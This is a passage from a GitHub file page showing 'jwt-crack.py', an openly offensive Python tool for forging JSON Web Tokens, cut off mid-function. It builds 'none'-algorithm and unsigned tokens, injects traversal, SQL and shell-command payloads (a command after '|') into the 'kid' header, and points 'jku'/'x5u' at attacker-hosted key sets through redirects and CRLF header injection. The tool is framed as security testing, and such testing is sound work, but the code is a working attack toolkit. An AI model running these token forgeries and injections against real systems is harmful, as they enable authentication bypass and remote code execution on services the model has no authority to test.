-
Notifications
You must be signed in to change notification settings - Fork 33
/
jwt-crack.py
executable file
·1892 lines (1748 loc) · 93 KB
/
jwt-crack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python3
"""
A tool to test the security of JWTs.
Copyright (C) 2021 Andea Tedeschi andrea.tedeschi@andreatedeschi.uno DontPanicO
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
__version__ = "1.2.1"
__author__ = "DontPanicO"
import os
import sys
import socket
import hmac
import hashlib
import base64
import json
import re
import ssl
import binascii
import argparse
from urllib import request, parse, error
from datetime import datetime, timedelta
try:
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa, ec
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicNumbers
from cryptography.hazmat.primitives.serialization import load_pem_public_key, load_pem_private_key, Encoding, PrivateFormat, PublicFormat, NoEncryption
from cryptography import x509
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
from cryptography.x509.oid import NameOID
from cryptography.hazmat.backends.openssl import backend
from cryptography.hazmat.backends.openssl.rsa import _RSAPublicKey, _RSAPrivateKey
from cryptography.hazmat.backends.openssl.ec import _EllipticCurvePublicKey, _EllipticCurvePrivateKey
from cryptography.exceptions import InvalidSignature
except ModuleNotFoundError:
print(f"jwtxpl: error: missing dependencies: pip3 install -r requirements.txt")
sys.exit(11)
def ifprint(condition, string):
"""
Conditional printing
:param condition: a condition that must be true in order to print -> bool
:param string: the string to print if condition is true -> str
:return: None
"""
if condition:
print(string)
class Bcolors:
"""
A class used to store colors in some constant, to be retrieved later in the script to return a fancy output.
"""
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
class Cracker:
description = "A command line tool for test security of JWTs"
usage = """
jwtxpl <token> [OPTIONS]
"""
command = ["jwtxpl"] + [sys.argv[i] for i in range(1, len(sys.argv))]
output = f"""{Bcolors.OKBLUE}A tool to exploit JWT vulnerabilities...{Bcolors.ENDC}
{Bcolors.HEADER}Version:{Bcolors.ENDC} {Bcolors.OKCYAN}{__version__}{Bcolors.ENDC}
{Bcolors.HEADER}Author:{Bcolors.ENDC} {Bcolors.OKCYAN}{__author__}{Bcolors.ENDC}
{Bcolors.HEADER}Command:{Bcolors.ENDC} {Bcolors.OKCYAN}{" ".join(command)}{Bcolors.ENDC}
"""
def __init__(self, token, alg, path_to_key, user_payload, complex_payload, remove_from, add_into, auto_try, kid, exec_via_kid,
specified_key, jku_basic, jku_redirect, jku_header_injection, x5u_basic, x5u_header_injection, verify_token_with,
sub_time, add_time, find_key_from_jwks, unverified=False, blank=False, decode=False, manual=False,
generate_jwk=False, dump_key=False, null_signature=False, quiet=False):
"""
:param token: The user input token -> str
:param alg: The algorithm for the attack. HS256 or None -> str
:param path_to_key: A file to load the key from -> str
:param user_payload: What the user want to change in the payload -> list
:param complex_payload: A string (key:value) containing key separated by , to access subclaims -> str
:param remove_from: What the user want to delete in the header or in the payload -> list
:param add_into: What the user want to add in the header (useless in the payload) -> list
:param auto_try: The domain from which the script try to retrieve a key via openssl -> str
:param kid: The type of payload to inject in the kid header. DirTrv, SQLi or RCE -> str
:param exec_via_kid: A command to append in the kid header -> str
:param specified_key: A string set to be used as key -> str
:param jku_basic: The main url on which the user want to host the malformed jwks file -> str
:param jku_redirect: Comma separated server url and the user one -> str
:param jku_header_injection: The server url vulnerable to HTTP header injection -> str
:param x5u_basic: The main url on which the user want to host the malformed jwks file -> str
:param x5u_header_injection: The server url vulnerable to HTTP header injection -> str
:param verify_token_with: The file of the public key to be used for verification -> str
:param sub_time: Hours to subtract from time claims if any -> str
:param add_time: Hours to add to time claims if any -> str
:param find_key_from_jwks: Path to JWKS file -> str
:param unverified: A flag to set if the script have to act as the host doesn't verify the signature -> bool
:param blank: A flag to set if the key has to be an empty string -> bool
:param decode: A flag to set if the user need only to decode the token -> bool
:param manual: A flag to set if the user need to craft an url manually -> bool
:param generate_jwk: A flag, if present a jwk will be generated and inserted in the token header -> bool
:param dump_key: A flag, if present the generated private key will be sotred in a file -> bool
:param null_signature: A flag, if present no signature will be provided -> bool
:param quiet: A flag, if present only the final token will be printed out, without colored output -> bool
Initialize the variables that we need to be able to access from all the class; all the params plus
self.file and self.token. Then it call the validation method to validate some of these variables (see below),
and lastly create a token dictionary, with dictionarize_token, and get decoded header and payload out of it.
"""
ifprint(not quiet, Cracker.output)
self.token = token
self.alg = alg
self.path_to_key = path_to_key
"""self.file and self.key will be overriden later"""
self.file = None
self.key = None
self.user_payload = user_payload
self.complex_payload = complex_payload
self.remove_from = remove_from
self.add_into = add_into
self.auto_try = auto_try
self.kid = kid
self.exec_via_kid = exec_via_kid
self.specified_key = specified_key
self.jku_basic = jku_basic
self.jku_redirect = jku_redirect
self.jku_header_injection = jku_header_injection
self.x5u_basic = x5u_basic
self.x5u_header_injection = x5u_header_injection
self.x5c = None
self.verify_token_with = verify_token_with
self.sub_time = sub_time
self.add_time = add_time
self.find_key_from_jwks = find_key_from_jwks
self.unverified = unverified
self.blank = blank
self.decode = decode
self.manual = manual
self.generate_jwk = generate_jwk
self.dump_key = dump_key
self.null_signature = null_signature
self.quiet = quiet
"""Groups args based on requirements"""
self.no_key_validation_args = [self.verify_token_with, self.find_key_from_jwks, self.decode, self.null_signature]
self.jwks_args = [self.jku_basic, self.jku_redirect, self.jku_header_injection, self.x5u_basic, self.x5u_header_injection, self.generate_jwk]
self.cant_asymmetric_args = [self.auto_try, self.kid, self.exec_via_kid, self.specified_key, self.blank]
self.require_alg_args = [self.path_to_key] + self.cant_asymmetric_args + self.jwks_args
self.keep_alg_args = [self.decode, self.verify_token_with, self.find_key_from_jwks]
"""Open devnull for stdin, stderr, stdout redirects"""
self.devnull = open(os.devnull, 'wb')
"""Call the validation"""
self.validation()
self.token_dict = Cracker.dictionarize_token(token)
self.original_token_header, self.original_token_payload = Cracker.decode_encoded_token(self.token_dict, quiet=self.quiet)
def validation(self):
"""
Does some validation on; self.token, self.alg, and all key related arguments.
This function is written in a terrible way, but it works. Since it has to handle so many different use cases
for now it's enough. If you want to make some restyle, without compromising its functionality, you're welcome.
1)Validate the token: Using check_token, looks if the token is valid. If not quits out.
2)Validate time values: If a time claim related arg has been passed it checks that has a proper value. If not quits.
3)Validate alg: If an algorithm has been passed, it checks that's a valid one. If it's None or none, checks that no
argument contained in self.require_alg_args, has been passed. Then advises the user that some libraries use none, while
others None. Then if an RSA/ec based alg has been set by the user, it checks that he's running a proper attack. Finally,
set self.alg as uppercase.
4)Validate key: This is the most complex validation since the key can be retrieved from different arguments.
This validation has to solve lot of possible conflicts, at least giving warnings to the user and giving priority
to the right argument. First, if one of self.decode or self.verify_token_ with is true, all this validation will
be skipped, since decoding the token does not need any key, and it will quits immediately after the decoded header
and payload have been printed out.
Then it checks for conflicts with self.manual. This is not a key related argument, but there was no better ways to
place it. If self.alg is RS* or PS* it looks for: No argument in self.cant_asymmetric is True; At least one argument
in self.jwks_args or self.path_to_key is True; No more than one argument in self.jwks_args or self.path_to_key is
True. Then it checks if the key pair has to be generated or if we have a key file to start from. The completes the key
generation extracting also the modulus and the exponent to be inserted in the jwks file.
If self.alg is ES*, validation is identical to RS*/PS*, but with elliptic curve cryptography. So the tool need also to
determine which curve to use, calling get_ec_curve.
If self.alg is HS* instead, it looks for: No argument in self.jwks_args is True; At least one argument in
self.cant_asymmetric or self.path_to_key is True; No more than one argument in self.cant_asymmetric or self.path_to_key
is True. If self.auto_try is True call get_key_from_ssl_cert and store the path to the key file in self.path_to_key.
If self.kid is True instead, check that it has a valid value, and set the key-password basing on the payload choice.
Same for self.exec_via_kid, where the key does not matter since the code will be executed before the token has been
validated. If a key has been specified in self.specified_key stores it in self.key. Last, if self.path_to_key has a
value, checks that the path exists and opens the file to read the key from.
"""
"""Validate the token"""
token_is_valid = Cracker.check_token(self.token)
if not token_is_valid:
print(f"{Bcolors.FAIL}jwtxpl: error: invalid token!{Bcolors.ENDC}")
sys.exit(3)
"""Validate Time"""
try:
if self.add_time:
self.add_time = int(self.add_time)
if not 0 < self.add_time < 25:
print(f"{Bcolors.FAIL}jwtxpl: error: accepted time values are from 1 to 24{Bcolors.ENDC}")
sys.exit(6)
if self.sub_time:
self.sub_time = int(self.sub_time)
if not 0 < self.sub_time < 25:
print(f"{Bcolors.FAIL}jwtxpl: error: accepted time values are from 1 to 24{Bcolors.ENDC}")
sys.exit(6)
except ValueError:
print(f"{Bcolors.FAIL}jwtxpl: error: time values must be numeric{Bcolors.ENDC}")
sys.exit(6)
"""Validate alg"""
if not any(self.keep_alg_args):
if not self.alg:
print(f"{Bcolors.FAIL}jwtxpl: error: missing --alg. Only verifying and decoding operations can mess it up{Bcolors.ENDC}")
sys.exit(4)
if self.alg is not None:
valid_algs = [
"none", "None",
"hs256", "hs384", "hs512",
"rs256", "rs384", "rs512",
"ps256", "ps384", "ps512",
"es256", "es384", "es512",
]
if self.alg.lower() not in valid_algs:
print(f"{Bcolors.FAIL}jwtxpl: error: invalid algorithm{Bcolors.ENDC}")
sys.exit(6)
if self.alg == "None" or self.alg == "none":
if any(self.require_alg_args):
print(f"{Bcolors.FAIL}jwtxpl: error: you don't need a key with None/none algorithm{Bcolors.ENDC}")
sys.exit(2)
ifprint(not self.quiet, f"{Bcolors.OKBLUE}INFO: some JWT libraries use 'none' instead of 'None', make sure to try both.{Bcolors.ENDC}")
elif self.alg.lower()[:2] in ["rs", "ps", "ec"]:
if not any(arg for arg in self.jwks_args + [self.path_to_key, self.verify_token_with, self.find_key_from_jwks, self.unverified, self.null_signature]):
print(f"{Bcolors.FAIL}jwtxpl: error: missing a valid key argument for EC/RSA{Bcolors.ENDC}")
sys.exit(4)
if self.alg.lower() != "none":
self.alg = self.alg.upper()
"""Validate key"""
if not any(self.no_key_validation_args):
"""--manual can be used only with --jku-basic or --x5u-basic"""
if self.manual:
if not self.jku_basic and not self.x5u_basic:
print(f"{Bcolors.FAIL}jwtxpl: error: you can use --manual only with jku/x5u basic{Bcolors.ENDC}")
sys.exit(4)
if self.path_to_key:
if not os.path.exists(self.path_to_key):
print(f"{Bcolors.FAIL}jwtxpl: error: no such file {self.path_to_key}{Bcolors.ENDC}")
sys.exit(7)
if self.alg[:2] == "RS" or self.alg[:2] == "PS":
"""Check for key conflicts"""
if any(self.cant_asymmetric_args):
print(f"{Bcolors.FAIL}jwtxpl: error: you passed some arg not compatible with RS* alg{Bcolors.ENDC}")
sys.exit(2)
elif not any(self.jwks_args + [self.path_to_key, self.unverified]):
print(f"{Bcolors.FAIL}jwtxpl: error: missing an arg for the key{Bcolors.ENDC}")
sys.exit(4)
elif len(list(filter(lambda x: x, self.jwks_args + [self.unverified]))) > 1:
print(f"{Bcolors.FAIL}jwtxpl: error: too many key related arg {Bcolors.ENDC}")
sys.exit(2)
"""No argument conflict"""
if not self.path_to_key:
"""No key file to read from"""
self.key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
if self.dump_key:
Cracker.dump_pem_private_key(self.key, "jwtxpl_rsa_priv.pem")
else:
ifprint(not self.quiet, f"{Bcolors.WARNING}jwtxpl: warn: you should use -D in order to dump the generated key into a file, so you can reuse it{Bcolors.ENDC}")
else:
"""We have a key file to read from"""
self.key = Cracker.read_pem_private_key(self.path_to_key)
if not isinstance(self.key, _RSAPrivateKey):
print(f"{Bcolors.FAIL}jwtxpl: error: alg/key mismatch. Key is not a private key or it's not RSA{Bcolors.ENDC}")
sys.exit(2)
"""Extract public key"""
self.key.pub = self.key.public_key()
"""Extrac the n and the e"""
self.key.pub.e = self.key.pub.public_numbers().e
self.key.pub.n = self.key.pub.public_numbers().n
if any([self.x5u_basic, self.x5u_header_injection]):
sign_hash = Cracker.get_sign_hash(self.alg)
certificate_object = Cracker.gen_self_signed_certificate(self.key, self.key.pub, 30, sign_hash)
certificate_object_content = certificate_object.public_bytes(Encoding.PEM).decode()
self.x5c = "".join([line.strip() for line in certificate_object_content.split("\n") if not line.startswith("---")])
elif self.alg[:2] == "ES":
"""Check for key conflicts"""
if any(self.cant_asymmetric_args):
print(f"{Bcolors.FAIL}jwtxpl: error: you passed some arg not compatible with ES*{Bcolors.ENDC}")
sys.exit(2)
elif not any(self.jwks_args + [self.path_to_key, self.unverified]):
print(f"{Bcolors.FAIL}jwtxpl: error: missing an arg for the key{Bcolors.ENDC}")
sys.exit(4)
elif len(list(filter(lambda x: x, self.jwks_args + [self.unverified]))) > 1:
print(f"{Bcolors.FAIL}jwtxpl: error: too many key related argument{Bcolors.ENDC}")
sys.exit(2)
"""No argument conflict"""
if not self.path_to_key:
"""We have no key file to read from"""
ec_curve = Cracker.get_ec_curve(self.alg)
self.key = ec.generate_private_key(ec_curve)
if self.dump_key:
Cracker.dump_pem_private_key(self.key, "jwtxpl_ec_private.pem")
else:
ifprint(not self.quiet, f"{Bcolors.WARNING}jwtxpl: warn: ou should use -D in order to dump the generated key into a file, so you can reuse it{Bcolors.ENDC}")
else:
"""We have a key file to read from"""
self.key = Cracker.read_pem_private_key(self.path_to_key)
if not isinstance(self.key, _EllipticCurvePrivateKey):
print(f"{Bcolors.FAIL}jwtxpl: error: alg/key mismatch. Key is not a private key or it's not EC{Bcolors.FAIL}")
sys.exit(2)
"Extract the public key and public numbers"
self.key.pub = self.key.public_key()
self.key.pub.x = self.key.pub.public_numbers().x
self.key.pub.y = self.key.pub.public_numbers().y
if any([self.x5u_basic, self.x5u_header_injection]):
sign_hash = Cracker.get_sign_hash(self.alg)
certificate_object = Cracker.gen_self_signed_certificate(self.key, self.key.pub, 30, sign_hash)
certificate_object_content = certificate_object.public_bytes(Encoding.PEM)
self.x5c = "".join([line.strip() for line in certificate_object_content.split("\n") if not line.startswith("---")])
elif self.alg[:2] == "HS":
"""Check for key conflicts"""
if any(self.jwks_args):
print(f"{Bcolors.FAIL}jwtxpl: error: you passed some arg not compatible with HS*{Bcolors.ENDC}")
sys.exit(2)
elif not any(self.cant_asymmetric_args + [self.path_to_key, self.unverified]):
print(f"{Bcolors.FAIL}jwtxpl: error: missing an arg for the key{Bcolors.ENDC}")
sys.exit(4)
elif len(list(filter(lambda x: x, self.cant_asymmetric_args + [self.path_to_key, self.unverified]))) > 1:
print(f"{Bcolors.FAIL}jwtxpl: error: too many key related args{Bcolors.ENDC}")
sys.exit(2)
"""No argument conflict"""
if self.dump_key:
ifprint(not self.quiet, f"{Bcolors.WARNING}jwtxpl: warn: no keys generated with HS*, dumping ignored{Bcolors.ENDC}")
if self.auto_try is not None:
self.key = Cracker.get_key_from_ssl_cert(self.auto_try)
elif self.kid is not None:
if self.kid.lower() == "dirtrv":
self.kid = "DirTrv"
self.key = ""
elif self.kid.lower() == "sqli":
self.kid = "SQLi"
self.key = "zzz"
elif self.kid.lower() == "rce":
self.kid = "RCE"
"""Command will be executed before verifing the signature"""
self.unverified = True
else:
print(f"{Bcolors.FAIL}jwtxpl: error: invalid --inject-kid{Bcolors.ENDC}")
sys.exit(6)
elif self.exec_via_kid is not None:
self.unverified = True
elif self.specified_key is not None:
self.key = self.specified_key
elif self.blank:
self.key = ""
if self.path_to_key is not None:
self.file = open(self.path_to_key, 'r')
self.key = self.file.read()
def decode_and_quit(self):
"""
The JWT "decoding" function.
Since the decoded header and payload have already been stored when the __init__ method ran, it just displays
them on the screen.
This function is intended to run if -d (or --decode) is present so it prints outs some warnings if useless
parameters have been called along with -d itself.
"""
other_args = [
self.alg, self.path_to_key, self.user_payload, self.complex_payload,
self.remove_from, self.add_into, self.auto_try, self.kid,
self.exec_via_kid, self.specified_key, self.jku_basic,
self.jku_redirect, self.jku_header_injection, self.x5u_basic,
self.x5u_header_injection, self.verify_token_with,
self.sub_time, self.add_time, self.find_key_from_jwks,
self.unverified, self.manual, self.generate_jwk, self.dump_key,
self.null_signature, self.quiet
]
if any(arg for arg in other_args):
print(f"{Bcolors.WARNING}jwtxpl: warn: you have not to specify any other argument if you want to decode the token{Bcolors.ENDC}")
print(f"{Bcolors.HEADER}Header:{Bcolors.ENDC} {Bcolors.OKCYAN}{self.original_token_header}{Bcolors.ENDC}" +
"\n" +
f"{Bcolors.HEADER}Payload:{Bcolors.ENDC} {Bcolors.OKCYAN}{self.original_token_payload}{Bcolors.ENDC}"
)
sys.exit(0)
def verify_and_quit(self):
"""
Read the the key from the path specified at self.verify_token_with and try to verify the token with it.
Then prints to stdout the result and quits.
"""
if not os.path.exists(self.verify_token_with):
print(f"{Bcolors.FAIL}jwtxpl: error: no such file: {self.verify_token_with}{Bcolors.ENDC}")
sys.exit(7)
other_args = [
self.alg, self.path_to_key, self.user_payload, self.complex_payload,
self.remove_from, self.add_into, self.auto_try, self.kid,
self.exec_via_kid, self.specified_key, self.jku_basic,
self.jku_redirect, self.jku_header_injection, self.x5u_basic,
self.x5u_header_injection, self.sub_time, self.add_time,
self.find_key_from_jwks, self.unverified, self.decode,
self.manual, self.generate_jwk, self.dump_key, self.null_signature,
self.quiet
]
algorithm = Cracker.get_original_alg(self.token_dict['header'])
if any(arg for arg in other_args):
print(f"{Bcolors.WARNING}jwtxpl: warn: only the alg is required with verification{Bcolors.ENDC}")
sign_hash = Cracker.get_sign_hash(algorithm)
try:
if algorithm[:2] == "RS":
key = Cracker.read_pem_public_key(self.verify_token_with)
if key is None:
cert = Cracker.read_pem_certificate(self.verify_token_with)
if cert is None:
print(f"{Bcolors.FAIL}jwtxpl: error: key/cert file is not PEM format or is a private key{Bcolors.ENDC}")
sys.exit(6)
key = cert.public_key()
verified = Cracker.verify_token_with_rsa_pkcs1(key, self.token, sign_hash)
elif algorithm[:2] == "PS":
key = Cracker.read_pem_public_key(self.verify_token_with)
if key is None:
cert = Cracker.read_pem_certificate(self.verify_token_with)
if cert is None:
print(f"{Bcolors.FAIL}jwtxpl: error: key/cert file is not PEM format or is a private key{Bcolors.ENDC}")
sys.exit(6)
key = cert.public_key()
verified = Cracker.verify_token_with_rsa_pss(key, self.token, sign_hash)
elif algorithm[:2] == "ES":
key = Cracker.read_pem_public_key(self.verify_token_with)
if key is None:
cert = Cracker.read_pem_certificate(self.verify_token_with)
if cert is None:
print(f"{Bcolors.FAIL}jwtxpl: error: key/cert file is not PEM format or is a private key{Bcolors.ENDC}")
sys.exit(6)
key = cert.public_key()
verified = Cracker.verify_token_with_ec(key, self.token, sign_hash)
elif self.alg[:2] == "HS":
with open(self.verify_token_with, 'r') as file:
key = file.read()
verified = Cracker.verify_token_with_hmac(key, self.token, sign_hash)
except (TypeError, AttributeError):
print(f"{Bcolors.FAIL}jwtxpl: error: key mismatch. the key you passed is not compatible with {self.alg}{Bcolors.ENDC}")
sys.exit(2)
result = f"Verified with {self.verify_token_with}" if verified else f"Unverified with {self.verify_token_with}"
print(f"{Bcolors.HEADER}Token:{Bcolors.ENDC} {Bcolors.OKCYAN}{result}{Bcolors.ENDC}")
sys.exit(0)
def find_verifier_key_from_jwks_and_quit(self):
"""
Parse a jwks file, in order to determine if one of the jwk is the one used to verify the token signature. If it find one,
display it to the user, than quits.
"""
other_args = other_args = [
self.alg, self.path_to_key, self.user_payload, self.complex_payload,
self.remove_from, self.add_into, self.auto_try, self.kid,
self.exec_via_kid, self.specified_key, self.jku_basic,
self.jku_redirect, self.jku_header_injection, self.x5u_basic,
self.x5u_header_injection, self.verify_token_with,
self.sub_time, self.add_time, self.unverified, self.decode,
self.manual, self.generate_jwk, self.dump_key, self.null_signature,
self.quiet
]
if any(arg for arg in other_args):
print(f"{Bcolors.WARNING}jwtxpl: warn: only the alg is required with verification{Bcolors.ENDC}")
if not os.path.exists(self.find_key_from_jwks):
print(f"{Bcolors.FAIL}jwtxpl: error: no such file {self.find_key_from_jwks}{Bcolors.ENDC}")
sys.exit(7)
try:
with open(self.find_key_from_jwks) as jwks_file:
jwks_dict = json.load(jwks_file)
except json.decoder.JSONDecodeError:
print(f"{Bcolors.FAIL}jwtxpl: error: non standard JWKS file{Bcolors.ENDC}")
sys.exit(1)
jwa = Cracker.get_original_alg(self.token_dict['header'])
sign_hash = Cracker.get_sign_hash(jwa)
index = Cracker.find_verifier_key_from_jwks(self.token, jwks_dict, sign_hash, jwa=jwa)
if index is None:
print(f"{Bcolors.OKBLUE}No keys from {self.find_key_from_jwks} can verify token signature{Bcolors.ENDC}")
sys.exit(0)
try:
result = json.dumps(jwks_dict['keys'][index], indent=2)
except KeyError:
print(f"{Bcolors.FAIL}jwtxpl: error: non standard JWKS file{Bcolors.ENDC}")
sys.exit(1)
print(f"{Bcolors.HEADER}Found verifier key:{Bcolors.ENDC}")
print(f"{Bcolors.OKCYAN}{result}{Bcolors.ENDC}")
sys.exit(0)
def modify_header_and_payload(self):
"""
Starting from the originals decoded header and payload, modify them according to the user input.
Using json, the function create two dictionaries of self.original_token_header and self.original_token_payload,
in order to access and modify them as dict object. If add_into is present, the function validates it and add the
specified key/s in the specified dictionary. If we have some header injection like kid or jku, the script modifys
those headers with the related payload.
It changes the algorithm to the one specified by the user, then look he has also declared any payload change.
If he has, the function calls the change_payload method, for each change stored in self.user_payload.
If self.remove_from has been passed, it removes the specified key/s from the corresponding dictionary.
N.B. self.user_payload is a list and, any time the user call a -p, the value went stored in another list inside
self.user_payload. So it basically contains as many list as the user calls to --payload. And the value of each
calls will always be the firs and only element of each list. This is also valid for self.add_into and self.remove_from.
:return: The modified header and payload strings.
"""
header_dict = json.loads(self.original_token_header)
payload_dict = json.loads(self.original_token_payload)
header_dict['alg'] = self.alg
commons_jwks_url_ends = ["jwks.json", "jwks", "keys", ".json"]
if self.add_into:
for item in self.add_into:
try:
to_dict = item[0].split(":")[0]
to_add = item[0].split(":")[1]
except IndexError:
print(f"{Bcolors.FAIL}jwtxpl: error: --add-into must have key:value syntax, where key is header or payload{Bcolors.ENDC}")
sys.exit(5)
if to_dict != "header" and to_dict != "payload":
print(f"{Bcolors.FAIL}jwtxpl: error: you can insert keys only into header and payload{Bcolors.ENDC}")
sys.exit(6)
if to_dict == "header":
header_dict = Cracker.add_key(header_dict, to_add)
elif to_dict == "payload":
ifprint(not self.quiet, f"{Bcolors.WARNING}jwtxpl: warn: adding key to payload is useless since you can do it directly via --payload{Bcolors.ENDC}")
payload_dict = Cracker.add_key(payload_dict, to_add)
if self.add_time:
payload_dict = Cracker.modify_time_claims(self.add_time, payload_dict, instruction="add")
if self.sub_time:
payload_dict = Cracker.modify_time_claims(self.sub_time, payload_dict, instruction="del")
if self.kid:
if "kid" not in header_dict.keys():
print(f"{Bcolors.FAIL}jwtxpl: error: JWT header has no kid{Bcolors.ENDC}")
sys.exit(1)
if self.kid != "DirTrv":
header_dict['kid'] += Cracker.inject_kid(self.kid)
elif self.kid == "DirTrv":
header_dict['kid'] = Cracker.inject_kid(self.kid)
elif self.exec_via_kid:
if "kid" not in header_dict.keys():
print(f"{Bcolors.FAIL}jwtxpl: error: JWT header has no kid{Bcolors.ENDC}")
sys.exit(1)
header_dict['kid'] += "|" + self.exec_via_kid
elif self.jku_basic:
if "jku" not in header_dict.keys():
print(f"{Bcolors.FAIL}jwtxpl: error: JWT header has no jku{Bcolors.ENDC}")
sys.exit(1)
if self.manual:
url = self.jku_basic
else:
if any(self.jku_basic.endswith(end) for end in commons_jwks_url_ends):
print(f"{Bcolors.FAIL}jwtxpl: error: '/.well-known/jwks.json' will automatically be appended to you url. If you need to specify the complete url use --manual{Bcolors.ENDC}")
sys.exit(5)
url = self.jku_basic.rstrip("/") + "/.well-known/jwks.json"
self.jku_basic_attack(header_dict)
header_dict['jku'] = url
elif self.jku_redirect:
if "jku" not in header_dict.keys():
print(f"{Bcolors.FAIL}jwtxpl: error: JWT header has no jku{Bcolors.ENDC}")
sys.exit(1)
if "HERE" not in self.jku_redirect:
print(f"{Bcolors.FAIL}jwtxpl: error: you have to specify HERE keyword in the place you want to inject{Bcolors.ENDC}")
sys.exit(5)
if "," not in self.jku_redirect:
print(f"{Bcolors.FAIL}jwtxpl: error: missing url. Please pass the vulnerable url and your one as comma separated values{Bcolors.ENDC}")
sys.exit(5)
if any(self.jku_redirect.endswith(end) for end in commons_jwks_url_ends):
print(f"{Bcolors.FAIL}jwtxpl: error: '/.well-known/jwks.json' will automatically be appended to your url. To craft an url by yourself, use --jku-basic with the --manual option{Bcolors.ENDC}")
sys.exit(5)
main_url = self.jku_redirect.split(",")[0]
your_url = self.jku_redirect.split(",")[1].rstrip("/") + "/.well-known/jwks.json"
self.jku_basic_attack(header_dict)
header_dict['jku'] = main_url.replace("HERE", your_url)
elif self.jku_header_injection:
if "jku" not in header_dict.keys():
print(f"{Bcolors.FAIL}jwtxpl: error: JWT header has no jku{Bcolors.ENDC}")
sys.exit(1)
if "HERE" not in self.jku_header_injection:
print(f"{Bcolors.FAIL}jwtxpl: error: you have to specify HERE keyword in the place you want to inject{Bcolors.ENDC}")
sys.exit(5)
body = self.jku_via_header_injection(header_dict)
content_length = len(body)
body = Cracker.url_escape(body, "[]{}")
injection = f"%0d%0aContent-Length:+{content_length}%0d%0a%0d%0a{body}"
url = self.jku_header_injection.replace("HERE", injection)
header_dict['jku'] = url
elif self.x5u_basic:
if "x5u" not in header_dict.keys():
print(f"{Bcolors.FAIL}jwtxpl: error: JWT header has no x5u{Bcolors.ENDC}")
